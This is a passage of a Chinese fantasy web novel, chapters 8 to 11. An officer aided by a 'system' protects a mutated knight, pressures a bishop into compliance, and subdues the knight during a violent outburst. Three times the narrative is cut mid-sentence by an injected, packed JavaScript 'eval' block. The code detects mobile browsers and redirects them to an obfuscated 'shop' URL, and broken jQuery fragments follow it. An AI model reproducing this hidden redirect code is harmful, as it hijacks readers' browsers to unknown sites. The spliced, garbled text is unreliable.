对事是这样,对人也是这样。
8. 你俩是相好?
“按照原本的世界进程,主角应该是怎么样的?”单议秋问。
9653回答:[逃脱监狱后,主角会被二次背叛,在多重打击下慢慢失去信仰,但是异变没有控制住他的意志,只是给了他力量。]
而最后的结局,任务书中没有提及,需要他们自己探索。
自行探索。
单议秋听着这些抽象的词汇,目光落在窗外千篇一律的黑暗街景上。
一个被钉穿了脊柱、对所有人都充满戒备,连自身存在意义都开始怀疑的主角,会走向什么结局呢?
“也就是说,”他总结道,“原本的剧本里,他应该在痛苦和背叛中‘觉醒’,化身为某种……复仇或颠覆的力量。而不是像现在这样,安安静静地躺在一个地下巫医的床上,等着别人检查他背后的钉子。”
[理论上……是的。]9653承认,[主角当前状态跟数据演练中的任何一种模型都不怎么匹配,他太安静了,安静得不正常。]
“太安静了……”
单议秋低声重复了一遍这个词,挥手关闭了系统调出的各类图纸,车厢归入昏暗。
他靠回柔软的车厢靠垫,从心里无声重复了一遍谢寒声曾经的称号。
光辉灿烂的骑士长。
也不知道哪个字戳中了笑点,单议秋笑弯了眼睛。
……
……
圣庭执法局内部,空间异常高阔,由无数棱角分明的灰石柱支撑。
墙壁上除了阴刻的简化符文外,没有任何装饰,地面是打磨光滑的深色石板,冰冷坚硬,倒映着上方符文的微光与人们沉默匆促的身影。
空气里弥漫着旧羊皮纸、墨水与石材的冷冽气味,寂静中只有鞋跟敲击地面的清晰回响。
单议秋在返回办公室的一路上,愉快地回应了所有的行礼和问好,扮演着所有人眼中那个温和友善的执法官。
直到他独自踏入位于高层的办公室,笑意才缓缓敛去。
他刚脱下外袍,一名下属便敲门进来,低声禀报:“阁下,有访客坚持要见您。已经等候多时了。”
“什么人?”单议秋走到黑木书桌后坐下。
“一男一女,”下属回答,“分别来自圣骑士团和风藤修道院。他们这几天在好几个部门都询问过,不太安分。如果您不想见,我立刻请他们离开。”
听到那两个熟悉的词,单议秋抬起眼。
他拨开挡在手边的金属笔架,双手交握摆在桌前,摇头道:“既然他们都来找我了,肯定是有话要说,让他们进来吧。”
属下低头应下。
片刻后,门再次被推开。
走进来的两人都穿着各自体系的正式服饰,男子是一身浆洗得笔挺、肩章简单的圣骑士团骑士服;女子则是一袭朴素的黑白修女裙袍,腰间系着象征见习身份的浅灰色束带,胸前带着一条朴素的银项链,双手紧张地交握在身前。
他们进屋后,目光不由自主地快速扫过这间陈设简洁的办公室,然后又小心翼翼地停在单议秋身上。
单议秋好像没察觉到他们的拘谨,垂眸翻阅着一份摊开的卷宗,笔尖偶尔在纸页上划过,发出细微的沙沙声。
他不开口,那两人便僵立在原地,连呼吸都放轻了。
直到年轻骑士的额头沁出细汗,修女的手指无意识地绞紧了衣袍,单议秋才合上卷宗,将笔归置在笔架上。
他向后放松地靠进高背椅,望向两人:“你们来找我,是有什么事吗?”
“执法官大人,”修女先开了口,声音有些发紧,“我们听说……您把……把……”
她卡住了,不知道该如何称呼现在的谢寒声,脸上掠过一丝难堪。
单议秋没有接话,只是看看她,又看了看旁边的骑士。
他摆出这样的姿态,明明还没说什么,却让两人压力骤增。
首席执法官,似乎和他们平日了解到的那个人不太一样……
“我对你们有些印象,”过了几秒,单议秋终于开口,声音在空旷的办公室里回荡,“最近两个月,你们频繁出入圣庭,也曾在骑士团驻地请求陈情。”
他顿了顿:“为了谢寒声的事?”
年轻骑士点了点头,喉结滚动了一下。
单议秋的视线掠过9653展开的光屏,上面列着两人的简要信息。
“凯文·霍尔,圣骑士团第三大队普通骑士。莉亚·米勒,风藤修道院见习修女。你们和谢寒声是什么关系?”
两人对视一眼,一起回答:“我们是一起长大的。”
话音刚落,莉亚立刻接上,语气急切:“谢哥不是坏人!他很善良,信仰一直非常坚定!执法官大人,这里面一定有问题!”
凯文本打算更迂回些,但见莉亚已经开口,也只得跟上,声音因激动而有些发颤:“执法官,不会有比团长更虔诚、更恪守戒律的人了!他从不酗酒,不作恶,甚至连……连女人的手都没摸过!”
他绞尽脑汁地替谢寒声辩解,试图让单议秋相信谢寒声真的不是坏人。
“……就连别人挑衅他,他也不生气!”
闻言,单议秋若有所思地唔了一声,指尖轻轻点了点桌面:“从不动怒的人……有时候反而更让人担心。情绪总得有个去处,如果他不发泄出来,那又该怎么办呢?”
毕竟无论这两个人怎么花言巧语,谢寒声身上发生异变,都是板上钉钉的事实。
在绝大多数人的观念中,只要发生异变,就意味着他心怀恶意。不管表面装的多好看,内里都是一滩污泥。
两人一时语塞,不知道该怎样解释,但脸上的神色却愈发坚定,无论如何都坚定认为谢寒声就是个好人。
能有这样的朋友,主角运气真是不错。
注视着他们毫不退缩的模样,单议秋话锋一转,又抛出一个尖锐的问题:“其实我也有个疑问。从出事到现在,整整两个月,你们求遍了圣庭上下,连几位主教的马车都曾试图拦阻,为什么从来没有来找过我?”
闻听此言,凯文和莉亚对视一眼,瞬间哑然,脸色微微发白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228783|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单议秋离开宽大的书桌,缓步踱到两人面前。
他双手背在身后,微微倾身,拉近了距离,将两人脸上细微的慌乱和躲闪尽收眼底。
“是有人不让你们来找我,对吗?”他轻声问。
凯文的嘴唇不受控制地颤抖了一下。
单议秋的目光在他脸上停留片刻,又缓缓移开,已经得到了答案。
他直起身,语气里听不出太多情绪,更像是在陈述一个刚刚想通的关节:“是谢寒声不让你们来找我。”
说完,不需要对方确认,他自顾自地点了点头:“看来他是真是挺不待见我的。”
“不!不是的!”凯文急忙否认,额角渗出冷汗,“团长他……他从来没有讨厌过您!他只是、只是不想给您添麻烦,让您难做!”
“不想添麻烦,”单议秋重复着这个解释,冷静指出,“很多时候,这是比‘厌恶’或者‘不信任’更体面一点的说法。”
这话让凯文和莉亚瞬间如坠冰窖,冷汗浸湿了内衫。
谢寒声如今就在这位首席执法官手里,让他坐实了“谢寒声厌恶他”这个念头,无异于亲手将把柄递到对方手中,给了对方一个更顺理成章处置谢寒声的理由。
早知道不这么鲁莽地过来了!不仅没给人说上好话,还要把谢哥害死!
单议秋静静盯着他们看了几秒,眼神从两人发白的嘴唇上一掠而过,然后,他忽然笑着摇了摇头,语气和缓下来。
“我与谢团长之间或许有些误解。但毕竟同僚数年,我还不至于因为这些小事就心存芥蒂,更别提挟私报复。”
凯文和莉亚的眼神里仍充满了怀疑,却不敢多说什么,生怕把人刺激到。
而单议秋已经绕过他们,重新坐回书桌后的高背椅上,姿态恢复了惯常的从容。
“况且,”他拿起一份文件,目光落在纸面上,语气平稳如常,“就算谢团长对我个人有什么想法,他这些年为圣庭做的事,大家都看得见。我不会因为私人感受,就否定这些。”
听他这么说,两人紧绷的肩膀稍松了些,连忙顺着话头,又说了些“您公正”、“您宽厚”之类的话。
可绕来绕去,他们最惦记的事还是没变——不管怎样,凯文和莉亚都想亲眼见一见谢寒声,看看他到底怎么样了。
*
*
“……所以,你跟单议秋,到底什么关系?”
狭窄的、弥漫着草药和金属溶液气味的房间里,索兰德一边用冰凉的金属探针触碰谢寒声脊柱上那枚异物周围的皮肤,一边头也不抬地问道。
他下手很稳,问出口的话却很直白,还有点粗俗:“你俩是相好?睡过?”
没想到他会直接问出口,谢寒声的后背肌肉倏地绷紧,握着床沿的手指因为用力而骨节泛白。
他沉默了两秒,才从牙缝里挤出声音:“……你为什么这么问?”
索兰德嗤笑一声,探针又往下压了半寸,语气理所当然:“我跟他认识可不止半个月,从没见他这么做事过,你挺不一般的。”
9. 希顿主教
闻言,谢寒声绷紧的后背肌肉没有放松,指节越攥越紧。
他和单议秋到底哪里不一般,他自己也理不出个头绪,只觉得这问题像根细刺,扎得人不舒服。
他生硬地挤出回答:“我没跟他睡过。”
索兰德从喉咙里发出一声短促的怪笑:“哈,我懂。你们圣庭出来的人都这德行,没亲嘴就不算勾搭,是吧?行,我有数。”
一个老头子,说起话来油腔滑调,谢寒声的眉头拧得更紧,几乎能夹死苍蝇,声音沉了下去,再次强调:“我跟单议秋没什么。”
老头没接这话茬,只是挪开探针,转而去旁边那张堆满杂物的桌子继续鼓捣。
清苦的药草味里混进了一股灰烬燃烧后的焦苦烟气。谢寒声瞥了一眼那冒着可疑气泡的陶钵,毫无探究的欲望。
他重新闭上了眼睛,试图将注意力从背后持续的隐痛和老头烦人的话语上移开。
安静没持续几秒。
“你觉得你俩没什么,”索兰德的声音又响起来,比刚才低了些,像在自言自语,又像故意说给他听,“他可未必这么觉着。”
谢寒声倏地睁开眼,侧过头,眼神锐利地盯住老头佝偻的背影:“你什么意思?”
“能有什么意思?”
索兰德转过身,手里端着那钵颜色诡异的药膏,一步步走回来,脸上的皱纹在昏暗光线下显得更深。
“你们圣庭,从上到下都冠冕堂皇,心里想的是一套,嘴上说的是另一套,他年纪轻轻就坐稳那个位置,能是例外?”
他谈起圣庭时,那股毫不掩饰的轻蔑和讽刺几乎要溢出来。
谢寒声本能地想反驳,想替圣庭辩解几句,可话冲到嘴边,却卡住了。
后背还扎着钉子呢,他咽下冲到喉头的话,转而问了一个更具体的问题:“你觉得单议秋表里不一?”
如果老头敢承认,那他会是谢寒声这么多年以来,遇到的第一个可能对单议秋抱有同样类似微妙看法的人。
索兰德哼了一声,没直接回答,而是说:“你也不看看他是怎么请动我帮你的。”
说完,他拿起一把造型奇特、闪着寒光的钳状工具,在谢寒声背后比划了一下。
“别动,我要试着把这玩意儿弄出来。过程不会太舒服,你忍着点。”
谈话与试探就此终结,谢寒声沉默地接过老头递来的一块干净布帕,咬在齿间,下颌线绷得死紧。
他重新伏下去,将整个后背,连同那枚深嵌入骨的钉子,完全暴露在冰冷的空气和未知的痛楚之前。
……
另一边。
送走那对忧心忡忡的年轻人后,单议秋没有原路返回自己的办公室,而是穿过执法局冰冷空旷的回廊,搭乘一部隐藏的升降梯,抵达了圣庭建筑群中更为古老和幽深的区域。
这里与外界截然不同。
肃穆取代了冷硬,沉滞的寂静中漂浮着陈年熏香、古老羊皮卷以及鲜花混合的馥郁气味。
光线不再是符文提供的恒定冷光,而是透过高处狭长的彩色玻璃花窗投下的斑斓光柱,墙壁上覆盖着描绘圣史与神迹的巨幅织锦,色彩虽因年代久远而略显暗淡,却依然能感受到那份精心营造的的崇高与威仪。
偶尔有身着深色长袍的低阶修士垂目快步走过,很快消失在曲折廊柱的阴影里。
这里是希顿主教的办公室。
希顿主教,在圣庭枢机团中地位尊崇,常被视作教皇之下最有影响力的几人之一。
他的办公室是一个套间,外间是用于小型会晤的厅堂,此刻却静悄悄的。
一张雕刻着繁复葡萄藤与圣典纹样的橡木书桌占据房间中央,往日主教接见客人,便是坐在这里。
但此刻,坐在那张象征着主人地位的高背椅上的人,却是单议秋。
而房间真正的主人则背对着门口,站在一扇拱形长窗前,小心侍弄着窗台上一盆开得正盛的金盏菊。
希顿主教穿着日常的紫色绶带长袍,背影因为过于专注小心,都显得有些刻意。
剪刀修剪枝叶的声响不断响起,主教将最后一处不满意的枝条调整好,又退后半步端详片刻,才像完成了一项重大仪式般放下银质的小剪。
他转过身,脸上挂着温和而谨慎的笑容,目光先是扫过坐在他位置上的单议秋,随后才看向摆在对方手边的公文副本。
“公文我已经签发了,很快就会执行下去,”希顿主教说,先提起最要紧的事,“不过后续可能会引来一些……不必要的关注和质疑。”
单议秋没有立刻接话。
他端起手边早已凉透的咖啡,浅浅抿了一口,视线也落在那盆金盏菊上。
阳光透过彩色玻璃,给明黄的花瓣染上斑驳陆离的光晕。
金盏菊是一种富有生命力的花,阳光都偏爱,不过这种花应该在田野里大片大片地长,而不是被人栽进花盆里。
单议秋转而望向主教:“关于什么的质疑?”
主教走到书桌对面,并未坐下,只是双手交叠置于身前,保持着恰当的距离和姿态。
“您知道的,惯例如此,”他斟酌着词句,“凡被黑暗侵蚀而异变者,按教义和过往无数案例,皆因内心留有破绽,怀有无法净化的恶意。他们本质上已被污染,无法被真正‘拯救’,带回光明之下,只会玷污更多的……”
“惯例?”
单议秋轻笑一声,打断了主教谨慎的阐述。
他放下杯子,身体微微前倾,棕褐色的眼睛直视着主教,里面没有丝毫面对下属或同僚时惯有的温和笑意,只有一片冰冷。
“主教,在别人面前,或许还需要说些冠冕堂皇的废话,但在您这儿,我想我们不必如此。”他道,说出的每个字都像石子投入死水。
“如果真有这种‘内心怀恶才会异变’的铁律……那第一个异变的,怎么也不该是谢寒声啊。”
他没有说第一个该是谁,但希顿主教在听清的瞬间就褪去了脸上的血色,交叠的双手无法控制地颤抖,背后倏地沁出一层冷汗。
房间内馥郁的熏香突然变得滞重,压迫着人的呼吸。
圣庭之外,流传着一些关于这位年轻首席执法
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228784|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官的童谣片段,其中一句唱他比月光温柔,是降下的天使,守护美德与公正。
希顿主教每次听到,都觉得有一股荒谬的寒意从心底升起。
什么样的人,会觉得单议秋是天使?
但他不敢说。
一个字都不敢。
他已经站在了圣庭权力结构的顶端,表面风光无限,可只有他自己清楚,这顶端的位置何其脆弱。
他不过是个需要时被摆在台前、擦得光亮的傀儡,他的一切都倚仗眼前这个人。
单议秋让他签署释放异变重犯的公文,他就得签,一个多余的问题都不能问。如果哪天单议秋突发奇想,要求他给谢寒声一个全新清白的身份,希顿也只能咬牙照办。
前任霍金斯主教在书房内暴毙的惨状还历历在目,死因成谜,调查最终不了了之。
希顿主教绝不想自己某天也以某种意外或急病的方式,消失在圣庭幽深的历史长廊里。
短暂的死寂后,主教避开了单议秋的视线,低下头,盯着自己袍子上的紫色绶带花纹。
他的喉结滚动了一下,再开口时,声音努力恢复了平稳:“我……明白您的意思了。后续的质疑和可能的阻力,我会想办法妥善解释、平息。”
直到听见他做出保证,单议秋脸上才重新浮现出令人如释重负的温和笑意。
他满意地靠回椅背,姿态放松,好像刚才那短暂的冰冷对峙从未发生。
“辛苦了,”他温声道,语气体贴,“不必给自己太大压力。如果教皇或者其他元老问起,或者遇到什么难处,随时告诉我。”
主教连连点头:“是,我明白。多谢阁□□谅。”
就在这时,单议秋怀中一枚不起眼的深灰色通讯宝石,突然发出急促而细微的嗡鸣,打破了室内刚刚恢复的平静。
单议秋神色不变,从怀里取出宝石,指尖轻触。
索兰德惊惶急促的声音立刻传来,夹杂着背景里器物翻倒的杂音和某种沉重的喘息。
“出、出事了!那钉子……我试着……他……失控了!快过来!我控制不住!”
……
就在索兰德变调的声音从宝石中传出的刹那,希顿主教发现单议秋的神情变了。
他嘴角的弧度还在,可眼底那点惯常的暖意却骤然消失,像一盏灯忽然熄灭,只剩下一个透明的空壳。单议秋所有的注意力都钉在通讯宝石上,没了伪装后,眼神沉得吓人。
虽然听不清具体内容,但背景里刺耳的碎裂声和索兰德变调的嘶喊,已经足够让希顿主教背后发凉。
更令他心惊的,是单议秋此刻的状态。
希顿从未见过单议秋这样,不是慌乱担忧,而是一种全然的冷,那层无懈可击的温和表象,终于在此刻裂开一道缝。
但也仅仅一瞬。
宝石的光芒消失在紧握的掌心中,单议秋收敛神色,对希顿匆匆颔首,转身快步离开。
门在他身后合拢,脚步远去的节奏比平日急促。
希顿主教站在原地,意识到自己看到了不该看的,手心全是冷汗。
10. 上嘴
等单议秋赶到索兰德那间混乱的屋子时,老头正魂不守舍地守在房门外。
门板上,那些用特殊颜料和金属粉末刻画的符文正剧烈地明灭,发出嗡嗡的低鸣,闪烁频率过快,以至于好像下一秒就会崩溃。
“怎么回事?”
单议秋气息有些不稳,声音罕见地没了从容,压得很低,像绷紧的弦。
索兰德蹲在墙角,脸色发白,指了指房门:“我、我试着松动一下那钉子,还没用上力,他突然就……”
单议秋深吸一口气,打断他:“我有没有告诉过你,不要擅自做任何尝试?”
老头脸上闪过一阵尴尬和后怕的混合表情,搓着手:“我以前处理过不少被侵蚀的案例,从没见过他这样的反应,我只是好奇……”
他声音低下去,“没想到会这样。”
单议秋没再责备,转而问:“钉子呢?”
“只出来这么一点,”索兰德用拇指和食指比划出不到一指节的宽度,脸色更难看了,“然后他就……”
正在这时,房间里忽然传来一阵剧烈的撞击声,接着就是东西噼里啪啦往下掉的混乱声响,听起来,索兰德的房子马上就要被拆掉了。
老头又打了个哆嗦,抹了把额头不存在的汗,脸色煞白:“我劝你,要么现在有办法让他冷静下来,要么就只能做最坏的打算了。里面的动静越来越不对了。”
与此同时,9653将谢寒声急剧波动的生命体征图强行投射在单议秋视野里,几条关键曲线正危险地飙向红色区域。
单议秋闭了闭眼,再睁开时,他对索兰德道:“出去。”
老头如蒙大赦,连滚带爬地退到了外面。
等房子里没人了,单议秋盯着门板上快速闪动的符文,在脑海中发问:“系统,如果任务失败,是我现在意外死亡扣分多,还是任由世界线崩溃扣分多?”
[世界线崩溃扣分多。]9653迅速回答。
“知道了。”
话音落下,单议秋有了决断,他不再犹豫,一把推开了那扇颤抖的房门。
……
房间内一片狼藉,原本堆放的各种器具、草药、书籍全被狂暴的力量扫到角落,摔得粉碎。
光线昏暗,只有墙壁上几处残存的符文提供着惨淡的微光。空气中弥漫着浓重的血腥味、药味,还有一种躁动不安的气息。
谢寒声不在视野中。
单议秋放缓呼吸,脚步放轻,目光扫过每一个阴影角落。他刚向前走了两步,侧后方杂物堆的阴影猛地炸开!
一道黑影带着风声扑来,速度快得惊人。
单议秋条件反射侧身格挡,手臂架住袭来的一击,力道震得他手臂发麻。紧接着是第二下、第三下,攻击毫无章法,却凶猛无比,带着要将一切撕碎的狂乱。
单议秋试图控制节奏,但对方的力量和速度在异变后显然超出了常规,一个错身,他腰腹间挨了沉重的一记,闷哼一声,随即整个人被一股巨力狠狠掼向墙壁!
后背重重撞上冰冷的石墙,五脏六腑都像移了位,单议秋眼前一阵发黑,还不等他有所反应,一只冰冷而布满粗糙鳞片的手便如铁钳般扼住了他的脖颈,将他死死抵在墙上,力道之大,让单议秋瞬间呼吸困难,眼前发黑。
“咳……”
单议秋被迫仰起头,对上一双近在咫尺的眼睛。
那不再是谢寒声平时的眼眸,瞳孔微微扩散,边缘泛着不正常的暗金色,此时正呈现出一种陌生的兴味。
他脸上沾着不知是谁的血,额角和脖颈的鳞片在昏暗光线下闪着幽暗的光,呼吸粗重地喷在单议秋脸上。
“谢寒声。”单议秋喊他的名字。
压在他身上的怪物眨眨眼睛,也不知道有没有听懂。
单议秋又喊了一遍。
怪物有了反应。
“执法官,我没聋,没必要喊两遍。”谢寒声说。
他仍然扼着单议秋的脖颈,拇指压住一串跳动的脉搏,好像是觉得这个姿势很有趣,怪物弯了弯眼睛,手下更用力了。
单议秋抬手扣住了谢寒声的手腕,他试图将那只扼在喉间的手扳开些,指尖因用力而绷紧,却只换来更窒息的压迫。
从来权势在手的执法官,原来也会为了一点空气艰难挣扎。
谢寒声默默看着,觉得很有意思。
房间里的灯都熄灭了,没有光亮,可异变后的眼眸仍然精准捕捉到了些许从眼角闪过的亮光,晕在一片红中,很漂亮。
执法官有一颗漂亮的脑袋。
“单议秋,”谢寒声开口,声音嘶哑得厉害,混杂着一种古怪的愉悦调子,完全不像他,“你现在有计划了吗?”
单议秋被扼住喉咙,发不出完整的声音,只能冷冷地看着他。
“嗯?不说话?”
谢寒声歪了歪头。
他凑得更近,湿热的呼吸喷洒在单议秋耳廓。
“别人看不出你披着那张皮,我看得出……”他低低笑起来,胸腔震动透过紧贴的身体传来,“我现在是不是比躺在牢里的时候对你更有价值了,嗯?执法官大人?”
话音未落,他忽然偏头,犬齿猛地咬上单议秋的颈侧。
尖锐的刺痛传来,不是要致死的力道,更像是充满占有和标记意味的撕咬。
单议秋身体一僵,没有挣扎,只在牙齿嵌入皮肉的瞬间喘出一口气。
嘴里尝到了血腥味,谢寒声的心情更好了。
注视着白净皮肤上的血痕,他随口问道:“你喜欢我的鳞片吗?”
之前几次接触,单议秋总喜欢摸他的鳞片。
头顶的喘息声停滞一瞬。
说对了。
谢寒声松开牙齿,抬起头,暗金色的瞳孔里掠过真实的愉悦。
“喜欢。”
单议秋低头看向他,回答干脆。
谢寒声怔了怔,随即咧开嘴,弧度相当大。
他仍然单手扼住单议秋的脖子,另一只空着的手则伸到颈侧,从那片质地最坚硬的鳞甲中央,硬生生抠下来一枚。
血液顺着新鲜的伤口渗了出来,谢寒声毫不在意,蛮横地将那枚还带着体温和湿滑血液的鳞片塞进单议秋的手心。
“给你。”他说。
单议秋收拢五指,攥紧了那枚冰冷坚硬的鳞片,指尖沾上黏腻的血。
得到如此血腥的礼物,他脸上却没有特别的表情,甚至没低头看手心,只是将另一只手缓慢而坚定地抬起,轻轻搭在了谢寒声的紧实腰侧。
那里的衣物在缠斗中撕裂,露出下方同样覆盖着细密鳞片的皮肤。
谢寒声因为这突如其来的触碰微微一颤。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228785|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>单议秋抬眸,迎着他混乱的目光,轻声问道:“你有尾巴吗?”
谢寒声愣住了,连眼眸中翻腾的暴戾都有片刻沉寂。他眨了眨那双异色的眼睛,似乎在努力理解这句话。
几秒后,他爆发出一阵尖锐的大笑,笑得肩膀都在抖动,扼住单议秋脖颈的手也松了些许力道。
“哈哈……哈哈哈哈……”
他笑得上气不接下气,好像听到了世界上最可笑的事情。
“真可惜……我还真没有!”他凑近单议秋的脸,鼻尖几乎相触,“让你失望了,执法官大人?还是说你其实期待我有?”
而就在他笑着,注意力被这古怪对话分散的刹那——
单议秋搭在他腰侧的手顺势向上,似爱抚又似探索,最后绕到他的后颈,按在了那枚刚刚被索兰德撬动了一点、此刻正裸露在外的钉子尾端。
“谢寒声。”
触碰到钉子的刹那,单议秋绷紧的神经终于有所松懈,“看着我。”
正在谢寒声意识到什么,望向他眼睛的瞬间,单议秋用尽全身力气,将钉子压回原位。
——!
谢寒声所有的声音戛然而止。
暗金色的瞳孔骤然紧缩,内里隐藏所有的情绪在瞬间被更庞大的黑暗吞没。
他的身体剧烈地抽搐了一下,扼住单议秋脖颈的手骤然脱力,先前还死死钳制着他的那副身躯,转眼便如一座抽去基石的沙塔,轰然向后坍倒。
单议秋贴着墙壁滑落,捂着脖颈剧烈地咳嗽了几声,才缓过气。
他没理会倒在地上的谢寒声,先摊开了一直紧握的左手。
掌心里,那枚暗沉的鳞片沾满了血,边缘锋利,有流光在边缘处一闪而过。
单议秋面无表情地将鳞片擦拭干净,收进口袋,然后才站起身,走到昏迷不醒的谢寒声身边,蹲下探了探对方的颈脉,又仔细检查了一下那枚重新没入骨头的钉子。
确定人没死,且情况暂时稳定后,单议秋抬手揉了揉自己仍在隐隐作痛的脖子。
“情况怎么样?”他在脑海中询问。
[生命体征回落到正常状态,] 9653的电子音听起来也轻松了些,[暂时稳定了。]
“这个钉子的材质很奇怪,索兰德都没见过,”单议秋盯着那处伤口,指尖虚虚点了点,“你能分析成分吗?”
[可以,但是需要一些时间。] 9653回答。
“去吧。”
浅黄色的光圈闪烁了一下,从身侧隐去。
单议秋拍了拍膝盖上沾染的灰尘,不再看地上昏迷的人,转身推门走了出去。
巷道里,夜风带着湿冷的潮气。
索兰德正抱着他那破旧的小包,蜷缩在墙根阴影下,一副随时准备拔腿就跑的架势。听见门响,他猛地抬头,见是单议秋出来,长长舒了口气,肩膀垮塌下来。
然而,这口气还没完全吐完,老头的视线就定在了单议秋的脖颈上。
一枚带着血痕的狰狞齿印,烙印在执法官苍白的皮肤上,视线往上移动,眼角的红晕同样醒目。
索兰德浑浊的眼睛瞬间瞪圆了,然而震惊只维持了一瞬,很快就被一种混合着讥诮和了然的神色取代。
他撇了撇嘴,从鼻子里哼出一声古怪的气音。
还说没睡过呢,都上嘴了。
11. 亲朋
单议秋察觉到了老头怪异的注视和那声嘀咕,但脖颈上的刺痛和眼角的不适感还在持续,疲惫感沉沉地压上来,让他懒得去分辨或解释对方那点龌龊心思。
“他的伤处理得怎么样了?”单议秋直接问,省去了平时那些毫无用处的迂回客套。
“能收拾的都收拾了,血止住了,其他皮肉伤也敷了药。”索兰德回答,目光还在单议秋脖子和脸上打转,“就是人还昏着,那钉子……”
提起钉子,老头的眼神变了变,收起了不正经,眉头拧起来,显出专业的困惑和一丝隐约的不安。
“那玩意儿……不对劲。”
他舔了舔干燥的嘴唇,回忆着,“不是市面上能搞到的普通货色,也不是圣庭惩戒所常用的禁魔金属……我对各类魔法元素和材料还算有点见识,可那东西死气沉沉的,什么反应都没有,真的像块石头。”
可普通石头钉进脊柱,不会有这么好的压制效果,早该被谢寒声弄碎了。
索兰德抬起枯瘦的手指,比划了一下:“这种材料,没人会随便用,更别说费那么大功夫,做成钉子,还钉进人的骨头里……肯定是花了大心思的。”
索兰德是巫医,爱做点小实验,医术够高,但让他研究各种材料,确实有点难为他。他能得出来的结论只有这么多。
单议秋安静听完,脸上无波无澜。脖颈的疼痛和方才那番缠斗消耗了他太多精力,此刻那层惯常的温和伪装也懒得维持,眉眼间透出一股冷淡的倦意。
“真没用。”他评价道。
索兰德脸皮一抽,刚要发作——
“你没事了,”单议秋打断他的愤怒,从怀中取出一个用黑色丝带系着的小卷轴,随手抛了过去,“可以走了。”
老头手忙脚乱地接住,解开丝带就着微弱的天光一看,呼吸顿时急促起来——那是一份盖着执法团最高级别徽印的通关令,凭这个,他可以安然离开帝都,甚至能以一个新的清白身份在别处开始生活。
狂喜涌上心头,但随即又被一丝迟疑压了下去。
他捏着那卷轴,转头看了看那扇紧闭的房门,喉咙动了动:“那……他呢?”他指的是里面昏迷不醒的谢寒声。
单议秋已经转过身,朝巷口停着的马车走去,只留下一个背影和一句听不出情绪的话:“不用你管。我带他回去。”
……
谢寒声再醒来时,第一个念头是,自己可能被一整栋倒塌的楼砸中了。
闷痛从四肢百骸传来,后背和脖颈更像是砍断后重新缝合,疼痛绵绵不绝。
谢寒声眼前发黑,耳边嗡嗡作响,过了好一会儿才勉强聚焦视线。
他发现自己躺在一张陌生的床上。
房间不大,陈设极其简单,四壁是光滑冰冷的浅灰色石料,窗户很高,窄窄的一条,透进有限的天光,让室内维持着一种恒定的毫无温度的明亮。
空气里有类似消毒药剂和冰冷石材混合的气味,异常干净,也异常冷清。
混沌的思绪艰难运转,谢寒声的记忆还停留在索兰德那间杂乱的房间里,冰凉的器具触感,以及随之而来的剧痛……之后便是漫长的黑暗。
他试图转动僵硬的脖颈,尖锐的刺痛立刻袭来,让他闷哼出声。也就在同时,他察觉到身侧传来平稳而轻微的呼吸声。
谢寒声猛地侧过头,看见了坐在床边椅子上的单议秋。
房间里一片死寂,只有两人压抑的呼吸声。单议秋单手扶着额头,双眼紧闭,连谢寒声醒来的动静都没能惊动他。
他还穿着昨天那身黑色制服,领口有些凌乱,脖颈上缠绕着一圈洁白的纱布。
谢寒声下意识倒抽一口凉气,吸气声回荡在房间里,听到动静,单议秋眉头微微一动,随即放下手,睁开了眼睛。
那双棕褐色眼眸望过来,眼下泛着淡淡的青影。
见谢寒声醒来,单议秋挪动身体,揉了揉眉心:“醒了?”
谢寒声点点头,觉得自己像个傻子。
“正好,有人也想见你。要见吗?”
单议秋也可能觉得这时候的谢寒声不聪明,所以他顿了顿,又补充道:“不见的话,我就让他们滚。”
谢寒声完全跟不上这跳跃的对话。他喉咙干涩,张了张嘴,先说出口的却是另一个话题:“你看起来很累。”
单议秋闻言扯了扯嘴角,露出一个完全不真诚的弧度。
“是啊,”他坦然承认,目光掠过谢寒声迷茫的脸,语气轻描淡写,“我确实挺累的。”
被一个突然发疯、力气大得吓人的神经病按着咬了好几口,还差点被掐死,正常人都会觉得累。
一想到以后的工作可能还得经常面对这种突发状况,单议秋就忍不住想笑。
谢寒声听得更懵了。
单议秋没明白说,可他的语气就是在指责,好像他现在感受的疲累都是谢寒声的错。
然而面对指责,谢寒声什么都想不起来,他的记忆里只有无边无际的疼痛和黑暗。
看着单议秋脖颈上刺眼的纱布,还有对方脸上毫不掩饰的疲惫,谢寒声的心头莫名有些发沉,却又不知从何问起。
单议秋也没指望他理解或回应。
“我就当你默认了。”
他站起身,动作因为久坐和疲倦而略显迟缓,居高临下地瞥了谢寒声一眼。
“哦,对了,”他忽然想起什么,“东西我就不还给你了,算你欠我的。”
说完,不等谢寒声反应,单议秋转身便朝门口走去。
“……”
